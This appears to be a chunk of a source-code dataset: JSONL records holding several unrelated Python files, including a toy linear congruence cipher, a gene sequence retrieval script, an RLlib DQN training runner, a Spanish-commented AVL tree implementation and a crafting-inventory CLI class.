result.duration_ms))\n\n last_time = now\n\n camera.stop_preview()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"giacomobartoli/vision-kit","sub_path":"pikachu-detector/custom_pikachu_detector.py","file_name":"custom_pikachu_detector.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"41327984058","text":"from CryptographyMethods import *;\n\nclass LinearCongruenceCipher :\n\tdef __init__( self, a, b, n ) :\n\t\tself.a = a;\n\t\tself.b = b;\n\t\tself.n = n;\n\n\tdef encrypt( self, message ) :\n\t\tembeddedMessage = embedMessage( message );\n\t\tciphertext = [ findMod( self.a * m + self.b, self.n ) for m in embeddedMessage ];\n\t\t\n\t\treturn ciphertext;\n\n\tdef decrypt( self, ciphertext ) :\n\t\tmessage = \"\";\n\t\taInv = multiplicativeInverse( self.a, self.n );\n\n\t\tfor t in ciphertext :\n\t\t\tft = findMod( aInv * t - aInv * self.b, self.n );\n\t\t\tmessage += embedInverse( ft );\n\n\t\treturn message;\n\n#\tDriver Code\nLCC = LinearCongruenceCipher( 8, 5, 43 );\nciphertext = LCC.encrypt( \"WHY HELLO THERE\" );\nmessage = LCC.decrypt( ciphertext );\n\nprint( \"Message:\", message );\nprint( \"Ciphertext:\", ciphertext );","repo_name":"satirmo/Cryptography","sub_path":"Linear Congruence Cipher/LinearCongruenceCipher.py","file_name":"LinearCongruenceCipher.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23266487294","text":"# retrieve sequence if not given for probe design\n# for multi_padlock_design\n# Xiaoyan, 2016-8-4\n\n\nimport os\nimport config\nfrom lib import parmsa\nfrom lib import formatrefseq\n\n\nAcronyms = []\nSeq = []\nHeaders = []\n\n\ndef loaddb(species):\n \"\"\"Load formatted RefSeq header and sequence files\"\"\"\n global Acronyms\n global Headers\n global Seq\n\n fastadir = (config.fastadir_mouse, config.fastadir_human)\n fasta_filenum = (config.fasta_filenum_mouse, config.fasta_filenum_human)\n fasta_pre_suffix = (config.fasta_pre_suffix_mouose, config.fasta_pre_suffix_human)\n\n if species == \"mouse\":\n s = 0\n elif species == \"human\":\n s = 1\n\n # try:\n # create trascriptome database if not existing\n if not os.path.isfile(fastadir[s] + \"/\" + species + \".acronymheaders.txt\"):\n print(\"Processing fasta database files..\")\n formatrefseq.fastadb(\n fastadir[s], fasta_filenum[s], fasta_pre_suffix[s], species\n )\n with open(fastadir[s] + \"/\" + species + \".acronymheaders.txt\", \"r\") as f:\n Acronyms = [line.rstrip(\"\\n\") for line in f]\n with open(fastadir[s] + \"/\" + species + \".selectedheaders.txt\", \"r\") as f:\n Headers = [line.rstrip(\"\\n\") for line in f]\n\n # load database sequences\n Seq = []\n with open(fastadir[s] + \"/\" + species + \".selectedseqs.txt\", \"r\") as f:\n Seq = [line.rstrip(\"\\n\") for line in f]\n\n\n# except: # catch all\n# print(\"Cannot load fasta database due to mismatch in species.\")\n\n\ndef querygenes(genes, species):\n \"\"\"Find genes from a database\"\"\"\n # species check performed in func. keyboardinput\n global Acronyms\n global Headers\n global Seq\n\n # load specified database\n loaddb(species)\n\n hits = []\n for gene in genes:\n if gene not in Acronyms:\n hits.append([])\n else:\n hit = [c for c, header in enumerate(Acronyms) if header == gene]\n hits.append(hit)\n return hits\n\n\ndef findseq(genes, hits, dirname):\n \"\"\"Find target sequences, if multiple variants are found, call MSA\"\"\"\n global Acronyms\n global Headers\n global Seq\n\n targets = []\n headers = []\n basepos = []\n msa = []\n nocommon = []\n variants = []\n\n headersMSA = []\n for c, hit in enumerate(hits):\n if len(hit) == 1: # only one variant\n targets.append(Seq[hit[0]])\n headers.append(Headers[hit[0]])\n basepos.append([0, len(Seq[hit[0]]) - 1])\n variants.append(Headers[hit[0]][1:].split(\".\", 1)[0])\n else:\n msa.append(genes[c])\n tempheader = []\n file = dirname + \"/\" + genes[c] + \"_variants.fasta\"\n with open(file, \"w\") as f:\n for multi in hit:\n f.write(\"%s\\n\" % Headers[multi])\n f.write(\"%s\\n\\n\" % Seq[multi])\n tempheader.append(Headers[multi])\n headersMSA.append(tempheader)\n variants.append([i[1:].split(\".\", 1)[0] for i in tempheader])\n\n # run multiple sequence alignment if more than one variants are found for one gene\n if len(msa):\n tempout = parmsa.continuemsa(dirname, msa)\n print(\"MSA finished.\")\n for c, name in enumerate(tempout[0]):\n if len(tempout[1][c]):\n tempheader = headersMSA[c]\n temp = [\n i for i in tempheader if name in i\n ] # first sequence in ClustalW output\n headers.append(temp[0])\n basepos.append(tempout[1][c])\n targets.append(tempout[2][c])\n else:\n nocommon.append(msa[c])\n\n return headers, basepos, targets, msa, nocommon, variants\n","repo_name":"Moldia/multi_padlock_design","sub_path":"lib/retrieveseq.py","file_name":"retrieveseq.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"82"} +{"seq_id":"25855077158","text":"import ray\nfrom ray import tune\nfrom ray.rllib.models import ModelCatalog\nfrom ray.tune.registry import register_env\n\nfrom gym_marl.envs.hunter_env import HunterEnvironment_v0\n\nfrom dqn.dqn_model import DQNModel\nfrom dqn.dqn import DQNTrainer\n\nif __name__ == \"__main__\":\n ray.init()\n select_env=\"hunter-v0\"\n register_env(select_env, lambda config: HunterEnvironment_v0() )\n ModelCatalog.register_custom_model(\"DQNModel\", DQNModel)\n\n tune.run(\n DQNTrainer,\n # checkpoint_freq=10,\n checkpoint_at_end=True,\n stop={\"timesteps_total\": 2000000},\n config={\n \"num_gpus\": 0,\n \"num_workers\": 1,\n \"framework\": \"torch\",\n # \"sample_batch_size\": 50,\n \"env\": \"hunter-v0\",\n\n ########################################\n # Parameters Agent\n ########################################\n \"lr\": 4e-3,\n # \"lr\": tune.grid_search([5e-3, 2e-3, 1e-3, 5e-4]),\n \"gamma\": 0.985,\n # \"gamma\": tune.grid_search([0.983, 0.985, 0.986, 0.987, 0.988, 0.989]),\n \"epsilon\": 1,\n \"epsilon_decay\": 0.99998,\n \"epsilon_min\": 0.01,\n \"buffer_size\": 20000,\n \"batch_size\": 2000,\n\n \"dqn_model\": {\n \"custom_model\": \"DQNModel\",\n \"custom_model_config\": {\n }, # extra options to pass to your model\n }\n #,\n\n\n #########################################\n ## Envaluation parameters\n #########################################\n #\"evaluation_interval\": 100, # based on training iterations\n #\"evaluation_num_episodes\": 100,\n #\"evaluation_config\": {\n # \"epsilon\": -1,\n #},\n }\n )\n","repo_name":"ThomasSomers/Marl","sub_path":"run_agent.py","file_name":"run_agent.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27474370904","text":"with open('input.txt') as f:\n code = f.read()\n found4 = found14 = False\n for i in range(0,len(code)-4):\n if not found4 and len(set(code[i:i+4])) == 4:\n print('{} @ {}'.format(code[i:i+4],i+4))\n found4 = True\n if not found14 and len(set(code[i:i+14])) == 14:\n print('{} @ {}'.format(code[i:i+14],i+14))\n found14 = True","repo_name":"adamlabadorf/AdventOfCode2022","sub_path":"day06/day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69933510029","text":"class Pet:\n # class attributes shared by all instances of a class\n # and the class itself\n allowed = set(['cat', 'dog', 'fish', 'rat'])\n def __init__(self, name, species):\n if species not in Pet.allowed:\n raise ValueError(f\"You can't have a {species} pet\")\n self.name = name\n self.species = species\n \n def set_species(self, species):\n if species not in Pet.allowed:\n raise ValueError(f\"You can't have a {species} pet\")\n self.species = species\n \ncat = Pet('Blue', 'cat')\ndog = Pet('Wyatt', 'dog')\n\ncat.set_species('rat')\n\nPet.allowed.add('pig')\nprint(Pet.allowed)","repo_name":"dallasmcgroarty/python","sub_path":"General_Programming/OOP/pet.py","file_name":"pet.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"6355630135","text":"from linkedlist import*\n\nclass AVLTree:\n\troot = None\n \nclass AVLNode:\n parent = None\n leftnode = None\n rightnode = None\n key = None\n value = None\n bf = None\n h = None\n\n\"\"\" rotateLeft(Tree,avlnode)\nDescripción: Implementa la operación rotación a la izquierda\nEntrada: Un Tree junto a un AVLnode sobre el cual se va a operar la rotación a la izquierda\nSalida: retorna la nueva raíz \"\"\"\n\ndef rotateLeft(Tree,avlnode): \n sub_root = avlnode.parent \n new_root = avlnode.rightnode\n left_son_nr = new_root.leftnode\n \n new_root.leftnode = avlnode\n avlnode.parent = new_root\n avlnode.rightnode = left_son_nr\n if left_son_nr != None: \n left_son_nr.parent = avlnode\n new_root.parent = sub_root\n if new_root.parent == None: \n Tree.root = new_root\n else:\n if new_root.parent.leftnode == avlnode:\n new_root.parent.leftnode = new_root\n else:\n new_root.parent.rightnode = new_root\n return new_root\n \n\"\"\" rotateRight(Tree,avlnode)\nDescripción: Implementa la operación rotación a la derecha \nEntrada: Un Tree junto a un AVLnode sobre el cual se va a operar la rotación a la derecha\nSalida: retorna la nueva raíz \"\"\"\n\ndef rotateRight(Tree,avlnode):\n sub_root = avlnode.parent \n new_root = avlnode.leftnode\n right_son_nr = new_root.rightnode\n \n new_root.rightnode = avlnode\n avlnode.parent = new_root\n avlnode.leftnode = right_son_nr\n if right_son_nr != None: \n right_son_nr.parent = avlnode\n new_root.parent = sub_root\n if new_root.parent == None:\n Tree.root = new_root\n else:\n if new_root.parent.leftnode == avlnode:\n new_root.parent.leftnode = new_root\n else:\n new_root.parent.rightnode = new_root\n return new_root\n \n\"\"\" calculateBalance(AVLTree) \nDescripción: Calcula el factor de balanceo de un árbol binario de búsqueda. \nEntrada: El árbol AVL sobre el cual se quiere operar.\nSalida: El árbol AVL con el valor de balanceFactor para cada subarbol \"\"\"\n\ndef calculateBalance(AVLTree):\n calculateBalanceR(AVLTree.root)\n \ndef calculateBalanceR(avlnode):\n if avlnode == None:\n return\n \n avlnode.bf = calculate_height(avlnode.leftnode) - calculate_height(avlnode.rightnode)\n calculateBalanceR(avlnode.leftnode)\n calculateBalanceR(avlnode.rightnode)\n \ndef calculate_height(avlnode):\n if avlnode == None:\n return 0\n avlnode.h = max(calculate_height(avlnode.leftnode),calculate_height(avlnode.rightnode)) + 1\n return avlnode.h\n\n\"\"\"\" reBalance(AVLTree)\nDescripción: balancea un árbol binario de búsqueda. Para esto se deberá primero calcular el balanceFactor del árbol y luego en función de esto aplicar la estrategia de rotación que corresponda.\nEntrada: El árbol binario de tipo AVL sobre el cual se quiere operar.\nSalida: Un árbol binario de búsqueda balanceado. Es decir luego de esta operación se cumple que la altura (h) de su subárbol derecho e izquierdo difieren a lo sumo en una unidad.\"\"\"\n\ndef reBalance(AVLTree):\n calculateBalance(AVLTree)\n reBalanceR(AVLTree,AVLTree.root)\n\ndef reBalanceR(AVLTree,avlnode):\n if avlnode == None:\n return\n reBalanceR(AVLTree,avlnode.leftnode)\n if abs(avlnode.bf) >= 2:\n if avlnode.bf < 0:\n if avlnode.rightnode.bf > 0:\n rotateRight(AVLTree,avlnode.rightnode)\n rotateLeft(AVLTree,avlnode)\n else:\n rotateLeft(AVLTree,avlnode)\n calculateBalanceR(avlnode)\n elif avlnode.bf > 0:\n if avlnode.leftnode.bf < 0:\n rotateLeft(AVLTree,avlnode.leftnode)\n rotateRight(AVLTree,avlnode)\n else:\n rotateRight(AVLTree,avlnode)\n update_bf(AVLTree,avlnode)\n reBalanceR(AVLTree,avlnode.rightnode)\n\n\"\"\" OPERACIONES REIMPLEMENTADAS \"\"\"\n\n\"\"\" INSERT AVL \"\"\"\n\ndef insert(B,element,key):\n newNode = AVLNode()\n newNode.value = element\n newNode.key = key\n newNode.h = 0\n newNode.bf = 0\n if B.root == None:\n B.root = newNode\n return B\n else:\n avlnode = insertAVLR(newNode, B.root)\n if avlnode != None:\n update_bf(B,avlnode.parent)\n return B\n \ndef insertAVLR(newNode, avlnode):\n if newNode.key > avlnode.key:\n if avlnode.rightnode == None:\n newNode.parent = avlnode\n avlnode.rightnode = newNode\n return newNode\n else:\n return insertAVLR(newNode, avlnode.rightnode)\n elif newNode.key < avlnode.key:\n if avlnode.leftnode == None:\n newNode.parent = avlnode\n avlnode.leftnode = newNode\n return newNode\n else:\n return insertAVLR(newNode, avlnode.leftnode)\n elif newNode.key == avlnode.key:\n return None\n\ndef update_bf(B,avlnode):\n if avlnode != None:\n if (avlnode.rightnode != None) and (avlnode.leftnode == None):\n avlnode.h += 1\n avlnode.bf = avlnode.h\n elif (avlnode.leftnode != None) and (avlnode.rightnode == None):\n avlnode.h += 1\n avlnode.bf = -avlnode.h\n elif (avlnode.rightnode != None) and (avlnode.leftnode != None):\n avlnode.h = max(avlnode.rightnode.h, avlnode.leftnode.h) + 1\n avlnode.bf = avlnode.leftnode.h - avlnode.rightnode.h\n elif (avlnode.rightnode == None) and (avlnode.leftnode == None):\n avlnode.h = 0\n avlnode.bf = 0\n if (avlnode.bf < -1) or (avlnode.bf > 1):\n reBalance(B)\n update_bf(B,avlnode.parent)\n else:\n return B\n\n\"\"\" DELETE AVL \"\"\"\n\ndef delete(B,element):\n key = search(B,element)\n if key != None:\n node = deleteAVL(B.root,key,B)\n calculateBalance(B)\n \ndef deleteAVL(avlnode, key, B):\n if avlnode == None:\n return\n if key < avlnode.key:\n avlnode.leftnode = deleteAVL(avlnode.leftnode, key, B)\n elif key > avlnode.key:\n avlnode.rightnode = deleteAVL(avlnode.rightnode, key, B)\n else:\n if avlnode.leftnode == None:\n temp = avlnode.rightnode\n root = None\n return temp\n elif avlnode.rightnode == None:\n temp = avlnode.leftnode\n root = None\n return temp\n temp = menor_de_los_mayores(root.rightnode)\n avlnode.key = temp.key\n avlnode.rightnode = deleteAVL(avlnode.rightnode,temp.key,B)\n if avlnode == None:\n return avlnode\n \n avlnode.h = max(calculate_height(avlnode.leftnode),calculate_height(avlnode.rightnode)) + 1\n balance = get_node_balance(avlnode)\n \n if (balance > 1):\n if (get_node_balance(avlnode.leftnode) < 0):\n avlnode.leftnode = get_node_balance(B,avlnode.leftnode)\n return rotateRight(B,avlnode)\n \n if (balance < -1): \n if (get_node_balance(avlnode.rightnode) > 0):\n avlnode.rightnode = get_node_balance(avlnode.rightnode)\n return rotateLeft(B,avlnode)\n return avlnode\n \ndef get_node_balance(avlnode):\n if avlnode == None:\n return 0\n return calculate_height(avlnode.leftnode) - calculate_height(avlnode.rightnode)\n \n\" BINARYTRE FUNCIONES ADAPTADAS A AVLTREE \"\n\n\"search(B,element)\"\n\"Descripción: Busca un elemento en el TAD árbol binario.\"\n\"Entrada: el árbol binario B en el cual se quiere realizar la búsqueda (BinaryTree) y el valor del elemento (element) a buscar.\"\n\"Salida: Devuelve la key asociada a la primera instancia del elemento. Devuelve None si el elemento no se encuentra.\"\n\ndef search(B,element):\n return searchR(B.root,element)\n \ndef searchR(currentNode,element):\n if currentNode == None:\n return\n else:\n if currentNode.value == element:\n return currentNode.key\n else:\n if searchR(currentNode.leftnode,element) != None:\n return searchR(currentNode.leftnode,element)\n if searchR(currentNode.rightnode,element) != None:\n return searchR(currentNode.rightnode,element)\n\n\"insert(B,element,key)\"\n\"Descripción: Inserta un elemento con una clave determinada del TAD árbol binario.\"\n\"Entrada: el árbol B sobre el cual se quiere realizar la inserción (BinaryTree), el valor del elemento (element) a insertar y la clave (key) con la que se lo quiere insertar.\"\n\"Salida: Si pudo insertar con éxito devuelve la key donde se inserta el elemento. En caso contrario devuelve None.\"\n\ndef insertBT(B,element,key):\n newNode = AVLNode()\n newNode.key = key\n newNode.value = element\n insertBTR(newNode,B.root,B)\n \ndef insertBTR(newNode,currentNode,B):\n if currentNode != None:\n if currentNode.key != newNode.key:\n if newNode.key > currentNode.key:\n if currentNode.rightnode == None:\n currentNode.rightnode = newNode\n newNode.parent=currentNode\n return currentNode.key\n else:\n insertBTR(newNode,currentNode.rightnode,B)\n else:\n if currentNode.leftnode == None:\n currentNode.leftnode = newNode\n newNode.parent = currentNode\n return currentNode.key\n else:\n insertBTR(newNode,currentNode.leftnode,B)\n else:\n return None\n else:\n B.root = newNode\n return newNode.key\n \n\"delete(B,element)\"\n\"Descripción: Elimina un elemento del TAD árbol binario\"\n\"Poscondición: Se debe desvincular el Node a eliminar.\"\n\"Entrada: el árbol binario B sobre el cual se quiere realizar la eliminación (BinaryTree) y el valor del elemento (element) a eliminar.\"\n\"Salida: Devuelve clave (key) del elemento a eliminar. Devuelve None si el elemento a eliminar no se encuentra.\"\n\ndef deleteBT(B,element):\n key = search(B,element)\n if key != None:\n return deleteBTR(B.root,key,B)\n \n\"deleteKey(B,key)\"\n\"Descripción: Elimina una clave del TAD árbol binario.\"\n\"Poscondición: Se debe desvincular el Node a eliminar.\"\n\"Entrada: el árbol binario B sobre el cual se quiere realizar la eliminación (BinaryTree) y el valor de la clave (key) a eliminar.\"\n\"Salida: Devuelve clave (key) a eliminar. Devuelve None si el elemento a eliminar no se encuentra.\"\n\ndef deleteKeyBT(B,key):\n return deleteBTR(B.root,key,B)\n\n\"DELETE Y DELETEKEY AUX\"\n\ndef menor_de_los_mayores(currentNode):\n currentNode = currentNode.rightnode\n while currentNode.leftnode != None:\n currentNode = currentNode.leftnode\n return currentNode\n \ndef mayor_de_los_menores(currentNode):\n currentNode = currentNode.leftnode\n while currentNode.rightnode != None: \n currentNode = currentNode.rightnode\n return currentNode\n\ndef deleteBTR(currentNode, key,B):\n if currentNode == None:\n return None\n else:\n if key > currentNode.key:\n currentNode = currentNode.rightnode\n return deleteBTR(currentNode,key,B)\n \n elif key < currentNode.key:\n currentNode = currentNode.leftnode\n return deleteBTR(currentNode,key,B)\n \n else: \n if currentNode == B.root: #Raiz\n node_delete = currentNode\n if currentNode.leftnode != None and currentNode.rightnode == None:\n currentNode = mayor_de_los_menores(currentNode)\n else:\n currentNode = menor_de_los_mayores(currentNode)\n\n if currentNode.parent.rightnode == currentNode:\n currentNode.parent.rightnode = None\n else:\n currentNode.parent.leftnode = None\n\n if node_delete.leftnode != None:\n if node_delete.leftnode.parent == node_delete:\n node_delete.leftnode.parent = currentNode\n if node_delete.rightnode != None:\n if node_delete.rightnode.parent == node_delete:\n node_delete.rightnode.parent = currentNode\n \n currentNode.leftnode = node_delete.leftnode\n currentNode.rightnode = node_delete.rightnode\n currentNode.parent = None\n node_delete = None\n\n B.root = currentNode\n \n else: #Hoja\n if currentNode.leftnode == None and currentNode.rightnode == None: \n if currentNode.parent.leftnode == currentNode:\n currentNode.parent.leftnode = None\n else:\n currentNode.parent.rightnode = None\n \n else: #Rama\n node_delete = currentNode\n if currentNode.leftnode != None and currentNode.rightnode == None:\n currentNode = mayor_de_los_menores(currentNode)\n else:\n currentNode = menor_de_los_mayores(currentNode)\n\n if currentNode.parent.rightnode == currentNode:\n currentNode.parent.rightnode = None\n \n if node_delete.parent.leftnode == node_delete:\n node_delete.parent.leftnode = currentNode\n \n if currentNode.parent.leftnode == currentNode:\n currentNode.parent.leftnode = None\n \n if node_delete.parent.rightnode == node_delete:\n node_delete.parent.rightnode=currentNode\n\n currentNode.leftnode = node_delete.leftnode\n currentNode.rightnode = node_delete.rightnode\n currentNode.parent = node_delete.parent\n node_delete = None\n \n return key\n \n\"access(B,key)\"\n\"Descripción: Permite acceder a un elemento del árbol binario con una clave determinada.\"\n\"Entrada: El árbol binario (BinaryTree) y la key del elemento al cual se quiere acceder.\"\n\"Salida: Devuelve el valor de un elemento con una key del árbol binario, devuelve None si no existe elemento con dicha clave.\"\n\ndef access(B,key):\n return accessR(key,B.root)\n \ndef accessR(key,currentNode):\n if currentNode == None:\n return None\n else:\n if key > currentNode.key:\n currentNode = currentNode.rightnode\n return accessR(key,currentNode)\n elif key < currentNode.key:\n currentNode = currentNode.leftnode\n return accessR(key,currentNode)\n else:\n return currentNode.value\n \n\"update(L,element,key)\"\n\"Descripción: Permite cambiar el valor de un elemento del árbol binario con una clave determinada.\"\n\"Entrada: El árbol binario (BinaryTree) y la clave (key) sobre la cual se quiere asignar el valor de element.\"\n\"Salida: Devuelve None si no existe elemento para dicha clave. Caso contrario devuelve la clave del nodo donde se hizo el update.\"\n\ndef update(B,element,key):\n return updateR(B.root,element,key)\n\ndef updateR(currentNode,element,key):\n if currentNode == None:\n return None\n else:\n if key > currentNode.key:\n currentNode = currentNode.rightnode\n return updateR(currentNode,element,key)\n elif key < currentNode.key:\n currentNode = currentNode.leftnode\n return updateR(currentNode,element,key)\n else:\n currentNode.value = element\n return currentNode.key\n \n\"traverseInOrder(B)\"\n\"Descripción: Recorre un árbol binario en orden\"\n\"Entrada: El árbol binario (BinaryTree)\"\n\"Salida: Devuelve una lista (LinkedList) con los elementos del árbol en orden. Devuelve None si el árbol está vacío.\"\n\ndef traverseInOrder(B):\n L = LinkedList()\n inorder(B.root,L)\n return L\n \ndef inorder(currentNode,L):\n if currentNode == None:\n return\n inorder(currentNode.leftnode,L)\n enqueue(L,currentNode.value)\n inorder(currentNode.rightnode,L)\n \n\"traverseInPostOrder(B)\"\n\"Descripción: Recorre un árbol binario en post-orden\"\n\"Entrada: El árbol binario (BinaryTree)\"\n\"Salida: Devuelve una lista (LinkedList) con los elementos del árbol en post-orden. Devuelve None si el árbol está vacío.\"\n \ndef traverseInPostOrder(B):\n L=LinkedList()\n posorder(B.root,L)\n return L\n \ndef posorder(currentNode,L):\n if currentNode == None:\n return\n posorder(currentNode.leftnode,L)\n posorder(currentNode.rightnode,L)\n enqueue(L,currentNode.value)\n \n\"traverseInPreOrder(B)\"\n\"Descripción: Recorre un árbol binario en pre-orden\"\n\"Entrada: El árbol binario (BinaryTree)\"\n\"Salida: Devuelve una lista (LinkedList) con los elementos del árbol en pre-orden. Devuelve None si el árbol está vacío.\"\n \ndef traverseInPreOrder(B):\n L=LinkedList()\n presorder(B.root,L)\n return L\n \ndef presorder(currentNode,L):\n if currentNode == None:\n return\n enqueue(L,currentNode.value)\n presorder(currentNode.leftnode,L)\n presorder(currentNode.rightnode,L)\n\n\"traverseInPreOrder(B)\"\n\"Descripción: Recorre un árbol binario en pre-orden\"\n\"Entrada: El árbol binario (BinaryTree)\"\n\"Salida: Devuelve una lista (LinkedList) con los elementos del árbol en pre-orden. Devuelve None si el árbol está vacío.\"\n\ndef traverseBreadFirst(B):\n L = LinkedList() \n currentNode = B.root\n h = height(currentNode) \n for i in range(1, h+1): \n CurrentLevel(currentNode,i,L)\n return L\n \ndef CurrentLevel(currentNode, level,L):\n if currentNode == None:\n return\n if level == 1:\n enqueue(L,currentNode.value)\n elif level > 1:\n CurrentLevel(currentNode.leftnode, level-1,L)\n CurrentLevel(currentNode.rightnode, level-1,L)\n \ndef height(node): \n if node == None:\n return 0\n else:\n leftheight = height(node.leftnode)\n righheight = height(node.rightnode)\n\n if leftheight > righheight: \n return leftheight+1\n else:\n return righheight+1","repo_name":"FedericoLucero/Algoritmos2","sub_path":"practicas/tp-arboles-avl/code/avltree.py","file_name":"avltree.py","file_ext":"py","file_size_in_byte":16443,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7768146619","text":"# -*- encoding utf-8 -*-\nfrom collections import namedtuple\nimport logging\n\n_RES_OK = 0\n_RES_WARN = 1\n_RES_ERR = 2\n_RES_CRIT = 3\n_RES_EXIT = 51 # ExIT -> 3x17 => 51\n\n_TASK_HELP = ['h', 'help', 'options', 'tasks']\n_TASK_INFO = ['i', 'info']\n_TASK_SHOW_STOCK = ['a', 'amount']\n_TASK_UPD_PROD = ['m', 'manual-update', 'mod']\n_TASK_UPD_STOCK = ['u', 'update']\n_TASK_SHOW_RECIPE = ['r', 'recipe', 'required', 'requirements']\n_TASK_SHOW_CRAFT = ['c', 'craft', 'check']\n_TASK_SHOW_RECURSIVE = ['rc', 'rcraft', 'rcheck',\n 'recursive-craft', 'recursive-check']\n_TASK_EXIT = ['e', 'exit']\n_TASKS = [\n (_TASK_HELP, 'Print all available tasks', ''),\n (_TASK_INFO, 'Show more info about a task', ''),\n (_TASK_SHOW_STOCK, 'Show the current amount of a PRODUCT', ''),\n (_TASK_UPD_PROD,\n 'Manual Update current amount of a PRODUCT',\n ' '),\n (_TASK_UPD_STOCK,\n 'Update the current amount of all PRODUCTs from a FILE',\n ''),\n (_TASK_SHOW_RECIPE, 'Show the requirements of a RECIPE', ''),\n (_TASK_SHOW_CRAFT, 'Show the PRODUCTS collected for a RECIPE', ''),\n (_TASK_SHOW_RECURSIVE,\n 'Show the recursive requirementts collected of a RECIPE',\n ''),\n (_TASK_EXIT, 'Exit the Craft Manager', '')\n]\n\n_ACT_INTERACTIVE = 'interactive'\n_ACTIONS = [\n (_ACT_INTERACTIVE, 'Run manager interactively')\n]\n\n\n_AVAILABLE_COLORS = [\n 'black', 'red', 'green', 'yellow',\n 'blue', 'purple', 'cian', 'white'\n]\nCOLORS = {\n 'black': '\\033[00;30m',\n 'red': '\\033[00;31m',\n 'green': '\\033[00;32m',\n 'yellow': '\\033[00;33m',\n 'blue': '\\033[00;34m',\n 'purple': '\\033[00;35m',\n 'cian': '\\033[00;36m',\n 'white': '\\033[00;37m',\n 'reset': '\\033[00m'\n}\n_CHAR_OK = u'\\u2713'\n_CHAR_FAIL = u'\\u2717'\n\n\n_MODEL_PRODUCT = namedtuple(\n 'product_obj', [\n 'self_id', 'name', 'stock', 'recipe_id'\n ]\n)\n_MODEL_RECIPE = namedtuple(\n 'recipe_obj', [\n 'self_id', 'result_id',\n 'requirement_id_1', 'requirement_amount_1',\n 'requirement_id_2', 'requirement_amount_2',\n 'requirement_id_3', 'requirement_amount_3',\n 'requirement_id_4', 'requirement_amount_4',\n ]\n)\n\n\ndef color_string(colour, text):\n if colour in _AVAILABLE_COLORS:\n return '{}{}{}'.format(\n COLORS[colour], text, COLORS['reset']\n )\n else:\n return text\n\n\nclass CraftManager:\n def __init__(self, logger):\n self.logger = logger\n\n # Log utilities\n def msg(self, text):\n text = '> {text}'.format(**locals())\n self.logger.info(text)\n\n def info(self, text):\n colored_info = color_string('green', 'INFO')\n text = '{colored_info}: {text}'.format(**locals())\n self.logger.info(text)\n\n def debug(self, text):\n colored_info = color_string(\n 'blue', 'DEBUG: {text}'.format(**locals())\n )\n text = '{colored_info}'.format(**locals())\n self.logger.debug(text)\n\n def warn(self, text):\n colored_info = color_string('yellow', 'WARNING')\n text = '{colored_info}: {text}'.format(**locals())\n self.logger.warning(text)\n\n def error(self, text):\n colored_info = color_string('red', 'ERROR')\n text = '{colored_info}: {text}'.format(**locals())\n self.logger.error(text)\n\n def critical(self, text):\n colored_info = color_string(\n 'red', 'CRITICAL: {text}'.format(**locals())\n )\n text = '{colored_info}'.format(**locals())\n self.logger.debug(text)\n\n # Prompts and messages\n def print_menu(self):\n msg = 'Available Tasks:\\n'\n for words, description, args in _TASKS:\n tag = color_string('yellow', words[1])\n msg += '>[{0}]{1}\\n\\t{0} {2}\\n'.format(tag, description, args)\n self.info(msg)\n \n def print_actions(self):\n msg = '\\nActions:\\n'\n for action, description in _ACTIONS:\n msg += '\\t{}\\t{}\\n'.format(action, description)\n self.info(msg)\n\n def print_recipe(self, recipe, stock=False, recursive=False):\n result = self.get_product(product_id=recipe.result_id)\n msg = '{}\\n'.format(color_string('yellow', result.name))\n num_required = 0\n num_stock = 0\n for req_num in range(1,5):\n req_id = getattr(recipe, 'requirement_id_{req_num}'\n ''.format(**locals()))\n if not req_id:\n msg += '|-> ----\\t{}--\\n'.format(\n '' if not stock else '--/'\n )\n continue\n req = self.get_product(product_id=req_id)\n if not req:\n self.error('Could not find requirement {req_num}'\n ' for recipe {recipe.id}'.format(**locals()))\n else:\n amount = getattr(recipe, 'requirement_amount_{req_num}'\n ''.format(**locals()))\n if stock:\n msg += '|-> {req.name}\\t{req.stock}/{amount}\\n'.format(\n **locals())\n num_required += amount\n num_stock += req.stock\n else:\n msg += '|-> {req.name}\\t{amount}\\n'.format(**locals())\n if not stock and not recursive:\n msg += '*'\n else:\n check = _CHAR_OK\n cross = _CHAR_FAIL\n stock_percent = 100*num_stock/num_required\n base_req_msg = 'Requirements: {}%'.format(stock_percent)\n if stock_percent >= 100:\n base_req_msg = '{check} {base_req_msg}'.format(**locals())\n base_req_color = 'green'\n else:\n base_req_msg = '{cross} {base_req_msg}'.format(**locals())\n if stock_percent >= 50:\n base_req_color = 'yellow'\n else:\n base_req_color = 'red'\n base_req_msg = color_string(base_req_color, base_req_msg)\n msg += base_req_msg\n return msg\n\n # Database methods\n def get_recipe(self, recipe_id):\n \"\"\"\n Returns a named tuple with the data of a recipe\n NamedTuple _MODEL_RECIPE:\n self_id: INT\n result_id: INT\n requirement_id_1: INT\n requirement_amount_1: INT\n requirement_id_2: INT\n requirement_amount_2: INT\n requirement_id_3: INT\n requirement_amount_3: INT\n requirement_id_4: INT\n requirement_amount_4: INT\n \"\"\"\n try:\n recipe_id = int(recipe_id)\n except ValueError:\n self.error('Trying to get RECIPE without ID')\n return False\n #TODO: get RECIPE from database using psycopg2\n recipe_obj = _MODEL_RECIPE(\n self_id=1, result_id=1, requirement_id_1=1, requirement_amount_1=1,\n requirement_id_2=2, requirement_amount_2=1, requirement_id_3=3,\n requirement_amount_3=1, requirement_id_4=False, requirement_amount_4=False\n )\n return recipe_obj\n \n def get_product(self, product_name=False, product_id=False):\n \"\"\"\n Returns a named tuple with the data of a product\n NamedTuple _MODEL_PRODUCT:\n self_id: INT\n name: STR\n stock: INT\n recipe_id: INT\n \"\"\"\n if not product_name and not product_id:\n 